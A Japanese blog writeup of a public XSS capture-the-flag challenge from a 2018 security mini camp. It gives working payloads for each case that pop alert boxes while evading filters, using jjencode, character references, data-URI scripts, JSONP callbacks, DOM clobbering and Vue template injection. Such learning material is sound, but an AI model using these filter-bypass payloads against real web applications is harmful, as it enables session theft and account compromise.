こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

XSS Challenge(セキュリティ・ミニキャンプ in 岡山 2018) Writeup

[更新履歴]

  • 2018/11/24 1:40
    問題差し替えに合わせて更新

セキュリティ・ミニキャンプ in 岡山 2018で使用された演習コンテンツが公開されていたので挑戦してみた。
年令制限により来世にならないとセキュリティ・キャンプに参加できない層からすると、一般公開はありがたい限り。

XSS Challenge (by y0n3uchy)

public な形で解法を公開していただくのも構いません。

とのことなので、writeupを書いた。

ルールは、alert('XSS') と alert(document.domain) の2つを実行できればクリア。
それぞれ実行に成功すると"You win! :-)" と表示される。

Case 01: Simple XSS 1

入力値が、そのままHTMLとして出力される。

特に工夫は不要。

<script>alert('XSS')</script>
<script>alert(document.domain)</script>

Case 02: Simple XSS 2

URLの#以降のハッシュが、innerHTMLにセットされる。

特に工夫は不要。

https://xss.shift-js.info/case02.php#%3Cimg%20src=x%20onerror=alert(%22XSS%22);%3E
https://xss.shift-js.info/case02.php#%3Cimg%20src=x%20onerror=alert(document.domain);%3E

Case 03: With htmlspecialchars()

phpのhtmlspecialchars関数でエスケープされた入力値が、aタグのhrefにセットされる。

javascript:ディレクティブを使用する。要クリック操作。

javascript:alert("XSS")
javascript:alert(document.domain)

Case 04-1: Without any backquotes and HTML tags

`<>を除去された入力値が、innerHTMLにセットされる。

<>をそのまま使用できないため、Unicode表記を使用する。

\u003Cimg src=x onerror=alert("XSS")\u003E
\u003Cimg src=x onerror=alert(document.domain)\u003E

Case 04-2: Without any backquotes, HTML tags and [ux]

`<>uxを除去された入力値が、innerHTMLにセットされる。

Unicode表記とHexadecimal表記も塞がれた。 ただ、入力値が`(バッククォート)の中にセットされており、テンプレートリテラルになっていることに着目する。テンプレートリテラル内では、${}で括った文字列が式として実行される。
よって、除去される文字を${String.fromCharCode(n)}で代替できる。

${String.fromCharCode(60)}img src=y onerror=alert("XSS")${String.fromCharCode(62)}
${String.fromCharCode(60)}img src=y onerror=alert(doc${String.fromCharCode(117)}ment.domain)${String.fromCharCode(62)}

Case 05: Without any alphabets

a-zA-Zおよび0-9を除去された入力値が、scriptタグ内に出力される。

jjencodeを使用する。
jjencode - Encode any JavaScript program using only symbols
なお、CTFでご用達のJSFuckでは、GETリクエストが長くなりすぎて、ブラウザの最大長を超えたので不可だった。

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"\\\")"+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();

Case 06-1: Without any paretheses

()を除去された入力値が、h1タグ内に出力される。

()が使用できないため、数値文字参照でコードを記述する。

<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x22;&#x58;&#x53;&#x53;&#x22;&#x29;">
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;">

Case 06-2: Without any parentheses and [oO][nN]

Case 06-1に加えて、on(大文字小文字ともに)を除去された入力値が、h1タグ内に出力される。

scriptのsrcに、base64エンコードしたコードを埋め込む。
外部スクリプトファイルを用意してもよかったかもしれない。

<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Case 06-3: Without any paretheses and .[oO].[nN].*

Case 06-1に加えて、.*[oO].*[nN].*を除去された入力値が、h1タグ内に出力される。

alert("XSS")は、Case 06-2の解法のままで通る。
alert(document.domain)は、偶然にもbase64エンコード文字列の中に.*[oO].*[nN].*にマッチする文字列が出現していたため、空白文字で微調整する。
alert(document.domain)→alert( document.domain )という小細工をして回避。

<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbiAp"></script>

Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes

Case 06-3に加えて、<[a-zA-Z]+.+?>を除去された入力値が、h1タグ内に出力される。

除去された後に<script>の文字列になるよう、ダミーとして<a >を挿入する。

<<a >script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIlhTUyIp"></script>
<<a >script type="text/javascript" src="data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbiAp"></script>

Case 07-1: Without any quotes

`'"を除去された入力値が、h1タグ内に出力される。

"XSS"の表示には、String.fromCharCodeを使用する。
document.domainの表示はそのまま。

<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(document.domain)</script>

Case 07-2: Without any quotes and &

`'\"&#を除去された入力値が、h1タグ内に出力される。

Case 07-1と同じ解法が使えた。

<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(document.domain)</script>

Case 08-1: Without any backquotes, parentheses and HTML tags

`()<>を除去された入力値が、spanタグのid属性にセットされる。
また、phpのhtmlspecialchars関数でエスケープされた値も、spanタグ内に出力される。

"でspanタグのid属性から抜けて、onClickイベントにコードをセットする。
()が使用できないため、数値文字参照でコードを記述する。
要クリック操作。

" onclick="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x22;&#x58;&#x53;&#x53;&#x22;&#x29;
" onclick="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;

Case 08-2: Without any backquotes, parentheses, HTML tags and &

`()<>&#を除去された入力値が、spanタグのid属性にセットされる。
また、phpのhtmlspecialchars関数でエスケープされた値も、spanタグ内に出力される。

数値文字参照が使用できないため、代わりに以下を参考にし、onerrorとthrowの組み合わせで回避した。
XSS technique without parentheses

" onclick="window.onerror=eval;throw '=alert\u0028\'XSS\'\u0029'"
" onclick="window.onerror=eval;throw '=alert\u0028document.domain\u0029'"

Case 09-1: Without any spaces and "script"

\s(空白文字)script(小文字の文字列)を除去された入力値が、h1タグ内に出力される。

scriptは小文字が対象であるため、Scriptを使用する。

<Script>alert("XSS")</Script>
<Script>alert(document.domain)</Script>

Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"

\s(空白文字)script(大文字小文字ともに)を除去された入力値が、h1タグ内に出力される。

除去された後にscriptの文字列になるよう、scriptの間に、script文字列を挿入する。

<sscriptcript>alert("XSS")</sscriptcript>
<sscriptcript>alert(document.domain)</sscriptcript>

Case 20: Bad use of JSONP

ここからはCSPが使用された問題。
単純にscriptタグを埋め込んでも実行できない。

<script src="jsonp.php?callback=callback"></script>で、JSONPを使用してスクリプト実行している。
/jsonp.php?callback=callbackにアクセスすると、callback(30000);の表示。
/jsonp.php?callback=hogeに改変してアクセスすると、hoge(30000);の表示。

よって、callbackパラメータにalert関数を埋めこんで実行し、残った(30000)コメントアウトする。

<script src="jsonp.php?callback=alert('XSS');//"></script>
<script src="jsonp.php?callback=alert(document.domain);//"></script>

Case 21: nonce + unsafe-eval

var answer = eval(window.equation.value);で、id=equationのinputタグから計算式の値を取得してeval実行している。

alert関数をセットしたid=equationのinputタグを先に作って、evalに通してもらう。

<input type="hidden" id="equation" value="alert('XSS')"><!--
<input type="hidden" id="equation" value="alert(document.domain)"><!--

Case 22: nonce + unsafe-eval

Vue.jsを使用している。

{{}}で関数を括れば、Vue.jsが実行してくれる。
ただ、単純に{{alert("XSS")}}ではうまくいかなかった。

Vue.js で XSS を作り込まないために気を付けること - SSTエンジニアブログ
こちらを参考にした。

{{constructor.constructor("alert('XSS')")()}}
{{constructor.constructor("alert(document.domain)")()}}

Case 23: nonce + strict-dynamic

strict-dynamicがHTTPヘッダーにセットされている問題。

まだ解けていない。